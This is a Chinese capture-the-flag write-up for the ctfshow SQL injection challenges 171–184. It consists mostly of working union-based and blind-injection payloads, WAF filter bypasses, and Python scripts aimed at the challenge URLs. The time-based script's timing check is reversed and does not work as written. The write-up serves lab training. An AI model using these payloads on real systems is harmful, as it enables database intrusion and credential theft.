目录
CTFshow--web入门171-184的wp。
Web--171
直接爆数据库名,数据库为ctfshow_web。
爆表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user' --+
查询内容
-1' union select 1,2,group_concat(password) from ctfshow_user --+
获得flag
法二
进行猜测表格的id只有24个
本地测试,查询为id='9999' or id= '3',9999不存在时会查询id=3
我们写25' or id= '26 ,就能一次性查出25和26的,如果25存在就直接输出flag了,不然的话26存在也行 ,得到flag。
Web--172
判断列数
-1' order by 2 --+
-1' order by 3 --+
通过回显得到列数为3。
判断注入点且爆库名
-1' union select database(),database() --+
根据回显得到有两个注入点,且库名为ctfshow_web。
查询表名
-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
根据回显可知,有两个表ctfshow_user,ctfshow_user2。
查询两表的列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user' --+
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user2' --+
根据回显可知,两个表都有3列(id,username,password)。
查询两表中的内容
-1' union select 1,group_concat(id) from ctfshow_user --+
-1' union select 1,group_concat(username) from ctfshow_user --+
-1' union select 1,group_concat(password) from ctfshow_user --+
-1' union select 1,group_concat(id) from ctfshow_user2 --+
-1' union select 1,group_concat(username) from ctfshow_user2 --+
-1' union select 1,group_concat(password) from ctfshow_user2 --+
分别查找两表中的内容找到flag。
Web--173
判断列数
-1' order by 3 --+
-1' order by 4 --+
根据回显可知有3列。
猜测注入点有3个,通过查询库名进行验证。
-1' union select 1,database(),3 --+
根据回显表明猜想正确,且库名为ctfshow_web。
查询表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
可知有3个表(ctfshow_user,ctfshow_user2,ctfshow_user3)
查询列名(根据前两关的情况,直接查询ctfshow_user3的列名)
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user3' --+
根据回显可知列名有id,username,password。
查询数据得到flag。
-1' union select 1,2,group_concat(password) from ctfshow_user3 --+
Web--174
通过提示判断这是单引号进行绕过(字符型注入),返回逻辑表明如果返回数据中包含 `flag` 字样,或者包含数字0-9,则不会输出。
可以用bool盲注,这里介绍另一种方法(字符替换),已知flag为16进制(0-9,a-f),将0替换为g,1替换为h,以此类推。
使用python写脚本
i = 0
s = f"replace(password,{i},'{chr(ord(str(i)) + 55)}')"
for i in range(1,10):
s = f"replace({s},{i},'{chr(ord(str(i)) + 55)}')"
print(s)
将生成的payload注入,得到字符替换后的flag,再利用python脚本将flag复原。
flag = 'ctfshow{dibcehal-abdb-kkhj-pplb-fddaleiohcgk}'
for i in range(10):
flag = flag.replace(chr(ord(str(i)) + 55), str(i))
print(str(i), chr(ord(str(i)) + 55))
print(flag)
得到真实的flag。
Web--175
查看提示似乎可以用时间盲注做,采用网上找到的python脚本得到flag。
import requests
from time import time
url = r'http://4458cad3-9e4d-4cdd-b35d-92e9c0cba734.challenge.ctf.show/select-no-waf-5.php/api/v5.php?id='
flag = ''
a = 0
for i in range(1, 1000):
print(f'第{i}次')
high = 128
low = 30
while low <= high:
a += 1
print(a)
mid = (low + high) // 2
sql1 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))={mid},2,0))-- asdf'
sql2 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))>{mid},2,0))-- asdf'
sql3 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))<{mid},2,0))-- asdf'
start_time1 = time()
req1 = requests.get(url=url+sql1)
end_time1 = time()
start_time2 = time()
req2 = requests.get(url=url + sql2)
end_time2 = time()
start_time3 = time()
req3 = requests.get(url=url + sql3)
end_time3 = time()
if start_time1 - end_time1 >= 1:
flag += chr(mid)
break
elif start_time2 - end_time2 >= 1:
low = mid + 1
elif start_time3 - end_time3 >= 1:
high = mid - 1
print(mid)
print(flag)
Web--176
查看提示发现是select被过滤了,这里采用大小写绕过的方法。
-1'union sElect 1,2,group_concat(password) from ctfshow_user--+
Web--177
查看提示发现是空格被过滤了,采用 /**/ 或者%0a进行绕过,来得到flag。
-1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
Web--178
同样过滤空格但是也把/**/过滤掉了,所以使用%0a或者%0b这些来绕过,得到flag。
代码只需对177的代码进行小改动即可。
Web--179
查看提示可知同样还是过滤空格,%0a和%0b都给过掉了,可以用%0c来绕过,到flag。
Web--180
查看提示发现%23(+)被过滤了,查看别人的wp发现可以使用闭合号绕过。
'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'or'1'='
注释的方法有三种,-- 和#还有闭合号注释。
Web--181
通过优先级绕过。(借用一位博主的图)
数字越大,优先级越高。
-1'||username='flag
成功得到flag。
Web--182
提示表明flag被过滤。
因为flag的id值为26,则利用id值进行绕过。
-1' || id='26
或者使用like进行绕过。
-1'||(username)like'%fla%
在SQL中,`LIKE` 是一个用于匹配字符串模式的操作符,通常与 `WHERE` 子句一起使用。它允许你对字符串字段进行模糊查询。
`LIKE` 的基本语法如下:
```sql
SELECT column1, column2, ...
FROM table_name
WHERE column_name LIKE pattern;
```其中,`pattern` 是要匹配的模式,通常包含通配符:
1. **百分号 (%)**:代表零个或多个字符。
2. **下划线 (_) **:代表单个字符。### 示例
1. **使用 `%` 符号**
- 查找以 "A" 开头的所有名称:
```sql
SELECT * FROM employees WHERE name LIKE 'A%';
```
- 查找以 "son" 结尾的所有名称:
```sql
SELECT * FROM employees WHERE name LIKE '%son';
```- 查找包含 "an" 的所有名称:
```sql
SELECT * FROM employees WHERE name LIKE '%an%';
```2. **使用 `_` 符号**
- 查找精确长度为 5 且第二个字符为 "o" 的所有名称:
```sql
SELECT * FROM employees WHERE name LIKE '_o___';
```3. **结合多个条件**
- 查找以 "A" 开头或以 "son" 结尾的名称:
```sql
SELECT * FROM employees WHERE name LIKE 'A%' OR name LIKE '%son';
```### 注意事项
- `LIKE` 通常是区分大小写的,具体行为取决于数据库的设置。
- 在某些情况下,用 `ILIKE` 可以忽略大小写(在 PostgreSQL 中)。
- 使用 `LIKE` 进行字符串搜索时,可能会导致性能下降,特别是在大型数据集上,因为它无法使用索引来加速查询。
Web--183
根据提示select不能用,就只能选择布尔盲注或者时间盲注了。这题的解法是在已知表名的情况下实现的,再结合模糊匹配like ,配合python脚本进行爆破。
import time,sys
import requests
# ctfshow web183 已知表名的布尔盲注
url='https://59dafe6e-c261-4adc-9d0b-aff1961cb676.challenge.ctf.show/select-waf.php'
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(50):
for k in letter:
# data = {"tableName":"`ctfshow_user`where`pass`regexp('{}')".format(flag + k)}
data = {"tableName":"`ctfshow_user`where`pass`like('{}%')".format(flag + k)}
r=requests.post(url=url,data=data).text
#time.sleep(0.3)
if "$user_count = 1;" in r:
flag=flag+k
print(flag)
break
if k == "}":
sys.exit()
Web--184
根据提示, where、单双引号、反引号都被过滤了,但没有过滤空格。
where可以用having代替,单双引号可以用括号+十六进制进行绕过。
在SQL中,`HAVING` 子句用于过滤聚合查询的结果。它通常与 `GROUP BY` 子句一起使用,以对分组后的结果进行条件筛选。与 `WHERE` 子句的不同之处在于,`WHERE` 是在数据分组之前进行过滤,而 `HAVING` 则是在数据分组之后进行过滤。
### 用法示例:
假设你有一个名为 `Sales` 的表,表中有以下字段:`ProductID`、`Quantity` 和 `SaleAmount`。你可以使用 `HAVING` 来筛选出总销售额大于 1000 的产品。
```sql
SELECT ProductID, SUM(SaleAmount) AS TotalSales
FROM Sales
GROUP BY ProductID
HAVING SUM(SaleAmount) > 1000;
```### 关键点:
1. **使用场景**:当你需要对聚合函数(如 `COUNT`、`SUM`、`AVG` 等)进行筛选时。
2. **与 `GROUP BY` 一起使用**:通常会与 `GROUP BY` 子句结合使用。
3. **可结合多种条件**:可以使用逻辑运算符(如 AND、OR)来组合多个条件。### 更复杂的例子:
你可以同时使用 `HAVING` 和 `WHERE` 来筛选:
```sql
SELECT ProductID, COUNT(*) AS SaleCount, SUM(SaleAmount) AS TotalSales
FROM Sales
WHERE SaleDate >= '2023-01-01'
GROUP BY ProductID
HAVING COUNT(*) > 10 AND SUM(SaleAmount) > 1000;
```在这个例子中,`WHERE` 子句先筛选出2023年之后的销售记录,再通过 `GROUP BY` 按产品分组,最后 `HAVING` 子句确定总销量大于 10 并且总销售额大于 1000 的产品。
### 总结:
- `HAVING` 子句用于对聚合数据进行筛选。
- 它通常与 `GROUP BY` 一起使用。
- 主要用于聚合函数的条件过滤,可以组合多个条件。
十六进制:可以前面加x,后面用引号包裹或者0x;也可以和算数运算结合表示数字。
将183的python代码改动即可。
import requests
import time
url="http://24873af7-39c6-4235-85e2-f6433b80f182.challenge.ctf.show/select-waf.php"
flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" #40
flag=""
for i in range(0,40):
for x in flagstr:
data={
"tableName":"ctfshow_user group by pass having pass like 0x63746673686f777b{}25".format("".join(hex(ord(i))[2:] for i in flag+x))
}
#print(data)
response=requests.post(url,data=data)
#有并发数量限制的,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow{"+flag)